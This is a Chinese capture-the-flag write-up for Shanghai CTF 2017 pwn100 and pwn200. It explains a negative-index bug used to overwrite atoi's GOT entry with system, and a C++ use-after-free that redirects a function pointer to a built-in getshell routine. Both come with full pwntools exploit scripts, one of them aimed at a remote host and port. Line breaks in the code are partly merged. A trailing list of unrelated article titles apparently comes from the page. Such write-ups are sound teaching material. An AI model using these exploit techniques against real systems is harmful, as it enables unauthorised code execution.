前言

分析的 idb 文件在这:

https://gitee.com/hac425/blog_data/tree/master/shanghaictf

pwn100

程序是一个经典的 堆管理程序,基本增删改查功能。

add 功能很正常,分配8字节的内存然后写入8字节内容。把 分配到的 heap指针存到 table 中,然后 count++

我们调试看看,使用 add 功能然后 看看堆的内容

可以看到尽管 malloc(8) 实际会分配 0x20 字节(0x10 chunk结构 + 8 + 8 字节 对齐padding)

所以这里应该没有溢出的问题,但是注意 count 变量会索引到下一个没有使用的 table 表项。

这个程序的问题在于,在 get_last, edit 时会直接使用 table[count] 来获取要处理的指针, 而且在 delete 时就只是简单的 count--,而且count 是一个有符号整数。这样多次 delete 后,count 会变成 负数。

然后 通过table[count] *(table + count*8)) ,这样我们就可以通过get_last, edit来 泄露内存和 修改内存了。

ctf 中利用漏洞的目标一般就是执行 system('sh'),在这里我们可以通过修改 got 表中atoi函数的指针为 system 的函数,然后在调用 atoi 函数时,就会去调用 system 函数了。为什么要选择 atoi 函数作为目标呢?



在打印程序的菜单后,会要我们输入一个选项,这就会调用这个函数,可以看到他会读取 16 字节到 nptr, 然后传到 atoi,如果我们把 atoi 改成system, 然后输入 sh , 就会执行 system('sh') 了,目标达到。

由于是这样获取内存地址: *(table + count*8), 所以我们需要在 table 的上面(就是地址 < table的地址) 区域找到一个 指向 got 的指针。我们可以使用 pwndbgsearchmem 来搜索

属于

那么现在利用的思路就很清晰了。

  • 首先多次调用 delete 函数使得 table + count*8 指向 这里的 atoi 函数对应的地址,也就是 0x400588.

  • 然后我们就可以通过 get_last 功能打印 atoi 函数的地址,通过atoilibc 中的固定偏移,泄露 libc 的地址。

  • 然后获取 system 函数地址,然后使用 edit 修改 atoi 函数的地址改成 system函数地址。然后输入sh 即可。

exp(要跑 20几分钟左右):

from pwn import *

# context.log_level = 'debug'
p = process("./list") puts_plt = 0x602018 def add(content):
p.recvuntil("5.Exit\n")
p.sendline("1")
p.recvuntil("Input your content:\n")
sleep(0.5)
p.sendline(content) def get_last_content():
p.recvuntil("5.Exit\n")
p.sendline("2")
p.recvuntil('4.Delete')
p.recvuntil('5.Exit\n')
content = p.recvuntil("5.Exit\n")
addr = u64(content[:6].ljust(8, '\x00'))
hexdump(content)
hexdump(content)
return addr def edit(content):
p.sendline("3")
sleep(0.5)
p.send(content) def delete():
p.recvuntil("5.Exit\n")
p.sendline("4") # alloc 3 chunk before to 3 def get_count_to_addr(addr):
time = 0x602080 + 3 * 8 - addr
time = time / 8 print time
for i in range(time):
# sleep(0.5)
delete() gdb.attach(p) add("B" * 8)
add("B" * 8)
add(p64(puts_plt))
pause() get_count_to_addr(0x400588) print "modify the count to fushu"
pause() print "::::" * 10 atoi_addr = get_last_content()
libc_addr = atoi_addr - 0x36e80
system_addr = libc_addr + 0x45390 log.success("system: " + hex(system_addr)) edit(p64(system_addr)) log.success("modify atoi---> system") p.sendline("sh") p.interactive() # bp 0x0400924

pwn200

就是用c++ 写的程序比较难看,不过看到程序的菜单,漏洞就很清楚了。



提示的很明显了,应该是 uaf, 那我们就重点看看与内存分配相关的位置。

首先会分配两个结构体,其中开始8字节被写入了函数的指针。



可以看到内存块的大小为 0x40 大小。通过 new(0x30) 分配得到,所以 newmalloc 的分配方式应该是一样的。接着往下看。



选择2 时,可以有我们提供大小,传到 new ,然后通过 read 写入内容。

free 时会调用 delete 释放掉内存块。free 之后可以看到进入了fastbin



那此时我们使用 2 号功能,连续分配两块 48(0x30) 字节的内存,就会拿到这两块内存了。

程序中内置了getshell函数

所以我们在拿到那两块内存后,把开始 8 字节写成 getshell-8 函数的地址就行了。(减8的原因看下图)

然后使用 1 功能,就能调用了。

exp中把 开始 8 字节改成了 0x0602D50



exp:

from pwn import *

# p = process("./p200")
p = remote("106.75.8.58", 12333)
context.log_level = 'debug' get_shell = p64(0x0602D50) payload = get_shell
payload += "A" * (48 - len(payload)) # gdb.attach(p)
p.recvuntil("1. use, 2. after, 3. free\n")
p.sendline('3')
# 先释放掉那两个块
pause() p.recvuntil("1. use, 2. after, 3. free\n")
p.sendline("2")
p.recvuntil("Please input the length:\n")
p.sendline("48") sleep(0.5) p.sendline(payload)
pause() sleep(0.5) p.recvuntil("1. use, 2. after, 3. free\n")
p.sendline("2")
p.recvuntil("Please input the length:\n")
p.sendline("48")
sleep(0.5)
p.sendline(payload) # 分配两个块,占用刚刚释放的块, 开始8字节 为 0x0602D50
pause() sleep(0.5) p.sendline("1")
p.interactive()

上海ctf2017 pwn100 && pwn200的更多相关文章

  1. 《开源博客Q群》和《NET上海Q群》入群须知

    开源博客Q群 群名:<嗨-博客> 群号:469075305(已满) 491585006(New) 群简介:“我们每个猿都有一个搭建自己独立博客的梦”. 入群要求: 您可以是HR,私聊管理员 ...

  2. 女生的最爱,装饰品。WPF也有,Adorner。(上海晒衣服理念)

    说到装饰,不由要说到女性. 去年过年回家给我妈买了周大福项链,很明显就感觉待遇就不一样了,即使这样,还是被一个阿姨说应该买更重点的.看来钱这种东西果然是多一点才好.虽然自己无所谓,但让家里人更开心也是 ...

  3. ABP(现代ASP.NET样板开发框架)主题线下交流会(上海)开始报名了!

    点这里进入ABP系列文章总目录 ABP主题线下交流会(上海)开始报名了 ABP是“ASP.NET Boilerplate Project (ASP.NET样板项目)”的简称.它是采用最佳实践和流行技术 ...

  4. 使用nodejs爬取拉勾苏州和上海的.NET职位信息

    最近开始找工作,本人苏州,面了几家都没有结果很是伤心.在拉勾上按照城市苏州关键字.NET来搜索一共才80来个职位,再用薪水一过滤,基本上没几个能投了.再加上最近苏州的房价蹭蹭的长,房贷压力也是非常大, ...

  5. 上海闪酷成为京东商城第一批独立软件开发商(ISV)

    闪酷信息技术(上海)有限公司一直致力于为品牌企业提供电子商务软件及其服务,为其拓展电商渠道保驾护航.上海闪酷依据多年的行业经验和技术积累,与中国 最大的B2C商城达成战略合作,为其2万多家品牌供应商提 ...

  6. PHP 获取中国时间,即上海时区时间

    /** * 获取中国时间,即上海时区时间 * @param <type> $format * @return <type> */ function getChinaTime($ ...

  7. 上海有线通下载exe会302转发请求

    起因: 做的软件用的clickonce,在公网的clickonce下载exe时一直报错,在vpn环境下没问题.错误提示如下: + HTTP redirect is not allowed for ap ...

  8. 全信号高清DVI编码器|上海视涛科技

    高清DVI编码器(E700)简介 高清DVI编码器是上海视涛科技出品的高性能全信号DVI编码产品.该DVI编码器是上海视涛科技完全自主研发,并适用于DVI信号的编码采集及网络传输的专用硬件设备.可兼容 ...

  9. 高清DVI编码器|上海视涛科技

    DVI编码器(E600)简介 高清DVI编码器是上海视涛科技出品的高性能DVI编码产品.该DVI编码器是上海视涛科技完全自主研发,并适用于VGA.DVI.HDMI等信号的编码采集及网络传输的专用硬件设 ...

随机推荐

  1. hiho#1457 重复旋律7 求子串和 后缀自动机

    题目传送门 题意: 给出若干个串,求所有子串的和,子串和的定义为十进制数,取模1e9+7. 思路: 对于一个串来说,一个状态p就代表着$right$相同的集合,假设我们已经知道了状态p的$sum$,以 ...

  2. 2018青岛网络赛G - Couleur 区间上的启发式合并

    题意:给出\(a[1...n]\),共\(n\)次操作,每次删除一个位置\(p_i\)(强制在线),此时区间会变为两个分离的区间,求每次操作的最大区间逆序对 首先要知道必要的工具,按权值建立的主席树可 ...

  3. Web安全之CSRF攻击的防御措施

    Web安全之CSRF攻击的防御措施   CSRF是什么? Cross Site Request Forgery,中文是:跨站点请求伪造. CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击 ...

  4. (转)Oracle与DB2在数据库高可用技术上的相同与差异探讨

    原文:http://www.talkwithtrend.com/Article/178339 数据库建设过程中,高可用是每一个企业数据中心数据库建设过程中至关重要的一个关注点,直接关系到业务连续性和稳 ...

  5. 浏览器缓存如何控制? && 在url框中回车、F5 和 Ctrl + F5的区别是什么?

    第一部分: 浏览器缓存如何控制?   最近在做网站,但是不知道缓存是什么东西怎么能行! 如何实现HTTP缓存呢? 下面我们来一步一步的探寻实现机制把. 方案一: 无缓存   说明: 浏览器向服务器请求 ...

  6. Windows里安装wireshark或者ethereal工具(包括汉化破解)(图文详解)

    不多说,直接上干货! https://www.wireshark.org/download.html 我这里,读取的是,来自于https://www.ll.mit.edu/ideval/data/19 ...

  7. maven项目debug调试不能够进入源码问题解决

    Maven项目在debug调试模式的时候,进入调试模式,但是没有进入源码界面. 上述问题的解决方法如下: 第一步: 第二步: 第三步: 第四步: 第五步: 到这里就解决了:

  8. 使用jdk生成ssl证书文件

    java自带有 ssl 证书生成的工具, 在 /bin/keytools.exe 需要确认已经正确配置JAVA_HOME的环境变量 生成服务端证书: keytool -genkey -v -alias ...

  9. java几个经典的算法题目----------二维矩阵算法

    public class testClockwiseOutput { public static void main(String[] args) { //1.构建矩阵数据 int[][] arr = ...

  10. HighChart 体验之旅 (后台传递JSON参数和数据的方法)

    转自:http://www.cnblogs.com/daviddai/archive/2013/04/12/Highchart.html 官网:http://www.highcharts.com/ 中 ...